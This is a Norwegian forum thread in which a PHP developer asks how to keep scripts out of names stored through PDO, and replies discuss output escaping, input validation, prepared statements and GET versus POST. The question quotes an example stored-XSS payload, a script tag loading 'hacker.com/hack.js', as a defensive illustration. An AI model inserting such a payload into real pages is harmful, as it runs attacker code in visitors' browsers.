Hindre script i database

kongen

kongemedlem
Hvordan sjekker man ting som skal lagres i database vha pdo?

Jeg har denne koden for å lagre ting i database

PHP:
$fornavn = $_GET['fornavn']; // <script
$etternavn = $_GET['etternavn']; // type="text/javascript" src="hacker.com/hack.js">

$stmt = $database->query("INSERT INTO tabell(fornavn, etternavn) VALUES (?, ?)");
$stmt->execute(array($fornavn, $etternavn));

Jeg vil sjekke fornavn og etternavn for suspekte tegn slik at hvis fornavn og etternavn lagres i database, og senere hentes frem og echoes på nettsiden så er det ikke noe suspekte greier der.

Hvis jeg henter frem fra databasen og echoer fornavn og etternavn til koden over så blir jo denne koden plassert på siden min

PHP:
<script type="text/javascript" src="http://hacker.com/hack.js">
 

adeneo

Medlem
Det du beskriver er Cross Site Scripting (XSS), og det beskytter man mot ved å filtrere output, ikke ved å validere input.

Med andre ord, strenger som kommer fra brukeren som skal dyttes ut i HTML bør kjøres gjennom noe slikt som htmlspecialchars først.

Når det kommer til navn, så er det klart at et navn inneholder aldri < eller >, slik at xdex har rett, dersom du vet det er navn, bare sjekk at de kun inneholder bokstaver, det er ingen grunn til at det skulle være noe annet der.
 
Ikke bruk strings i GET parametere...send det heller via POST. Filtrer det både inn og ut. Etter min mening bør det eneste man har i GET parametere være rene tall.

Men for å sjekke at det bare bruker bokstaver, kan du benytte deg av PHPs ctype_alpha. Du trenger ikke expressions. Problemet med ctype_alpha er kanskje mangelen på støtte for Æ,Ø,Å + andre karakterer som ikke er A-Z. Men er det kun engelskspråklig, så gå for ctype_alpha.

Anbefaler at du sender all data via $_POST. Henter du dataene fra et skjema er det det enkleste også :)

Dessuten:
$stmt = $database->query("INSERT INTO tabell(fornavn, etternavn) VALUES (?, ?)");

Bruk heller:
$stmt = $database->prepare("INSERT INTO tabell(fornavn, etternavn) VALUES (?, ?)");

Husk å binde :)
 

kongen

kongemedlem
Det går litt kjapt med copy/paste her. Jeg har faktisk "prepare" i filene som er ferdige og live på serveren, det ser ut som jeg har copya fra en fil som ikke var helt ferdig, jeg holder på å konverterer fra mysqli til pdo.

Slik ser siste versjon ut

PHP:
$sql = "INSERT INTO tabell(fornavn, etternavn) VALUES (?, ?)";
$stmt = $database->prepare($sql);
$stmt->execute(array($fornavn, $etternavn));

Må dette bindes også?

Filtrering av output har jeg aldri tenkt på, jeg har alltid prøvd å validere input, så dette må jeg også få på plass.

Blir det da slik:

PHP:
echo htmlspecialchars($fornavn).' '.htmlspecialchars($etternavn);

istedet for

PHP:
echo $fornavn.' '.$etternavn;

Hva hvis jeg validerer input slik:

PHP:
$fornavn = 'Pål';
$fornavn = utf8_decode(trim($fornavn));
$fornavn = filter_var($fornavn, FILTER_SANITIZE_SPECIAL_CHARS);

Er det godkjent?
 

xdex

Medlem
Ikke bruk strings i GET parametere...send det heller via POST. Filtrer det både inn og ut. Etter min mening bør det eneste man har i GET parametere være rene tall.

Men for å sjekke at det bare bruker bokstaver, kan du benytte deg av PHPs ctype_alpha. Du trenger ikke expressions. Problemet med ctype_alpha er kanskje mangelen på støtte for Æ,Ø,Å + andre karakterer som ikke er A-Z. Men er det kun engelskspråklig, så gå for ctype_alpha.

Anbefaler at du sender all data via $_POST. Henter du dataene fra et skjema er det det enkleste også :)

Dessuten:
$stmt = $database->query("INSERT INTO tabell(fornavn, etternavn) VALUES (?, ?)");

Bruk heller:
$stmt = $database->prepare("INSERT INTO tabell(fornavn, etternavn) VALUES (?, ?)");

Husk å binde :)

Tenk om alle brukte tall, da ville vi hatt elendige URL's der ute! ctype_alpha kan brukes, og støtter ÆØÅ, ved å sette riktig locale, UTF-8 altså. Det er heller ingenting som tilsier at GET er mer usikkert enn POST, Dagbladet brukes f.eks aldri post, og kun GET (gjelder ikke tredjeparts systemer).
 
Tenk om alle brukte tall, da ville vi hatt elendige URL's der ute!

I forhold til SEO på Wordpress-sidene deres ville det kanskje ikke vært bra, nei. Men heller en sikker side enn en som ranker høyt i Google før den blir hacket. Da mener jeg nettsted som er utviklet selv; og ikke velprøvde apps som Wordpress.

ved å sette riktig locale, UTF-8 altså

Hvilket også kan gjøres med:
header('Content-Type: text/html; charset=utf-8');

Det er heller ingenting som tilsier at GET er mer usikkert enn POST

Ikke om alt valideres skikkelig, nei. Men hvorfor skal man bruke $_GET istedenfor $_POST? Personer kan bokmerke siden, inkludert $_GET data. Ved lasting av siden vil da disse også bli sendt på nytt. Bruker $_GET til å hente data, men for å sende data (f.eks via skjema) ville jeg aldri brukt $_GET. Min gylne regel, iallfall.

Dagbladet brukes f.eks aldri post, og kun GET

Og fordi Dagbladet gjør det, er det helt iorden?

F.eks:

http://www.example.com/process.php?action=delete&id=123

Ser du all skade den request'en kan gjøre om den ikke valideres skikkelig og brukeren (script kiddie) leker seg med $_GET['id']?
 

xdex

Medlem
Ser du overdramatiserer veldig, get for hent, post for publisitet. Ditt URL forslag er ett request for å endre, bruk post. For lesing, bruk get. Samme validering uansett, hvorfor er ditt forslag riktig foresten? Ser at du nesten ikke har erfaring (som du selv har sagt) det er like lett å leke seg med post :)

Its all about validation.

For å hente denne siden, må du fortsatt sende spørring via get, og hente riktig id, tall eller bokstaver. Og om dette er en typisk info side, vil man ha tilgang direkte i URL. Tenk om vi skulle måtte skrive inn artikkel id på VG hver gang, haha! What ever works for you! :D
 
Sist redigert:
Selvfølgelig er det like lett å tukle med POST som med GET om man vet hvordan. Men tanken min var/er at POST sendes i "det skjulte"; noe som kanskje ikke frister så mye å tukle med slik GET gjør da det ligger rett opp i trynet på brukeren.

Ja, selvfølgelig skal alt valideres. Opp, ned, høyre, venstre etc etc uansett. Men vil du virkelig anbefale å sende data via GET? Og isåfall, hvorfor sende via GET? Hva er fordelen (om det er noen)?

Har en følelse av at du ikke helt var med på hva jeg mente :)
 

xdex

Medlem
Det samme svaret som POST, det er ingenting i veien med å sende GET requests i det hele tatt, og det er nøyaktig den samme valideringen som skjer på begge sider. Det er tydelig at trådstarter tester sine kunnskaper rundt PDO, ved å enkelt manipulere url, i stede for å måtte sende "submit" hver eneste gang. Det er heller ingenting i veien for å bruke get for en måte og f.eks. validere en e-post ved trykking på lenker, som bidrar til update/insert, avhengig av løsning. Det samme prinsippet som skjer når du besøker url's på Facebook etc, som hele tiden bidrar til tracking, for å vite hvor du er til en hver tid, ved og lagre alle get requests inn i databasen, alt til sitt bruk. Nå blir dette off-topic, men start gjerne en ny tråd rundt emnet, @kongen har nok fått svaret han ønsket :)
 
Topp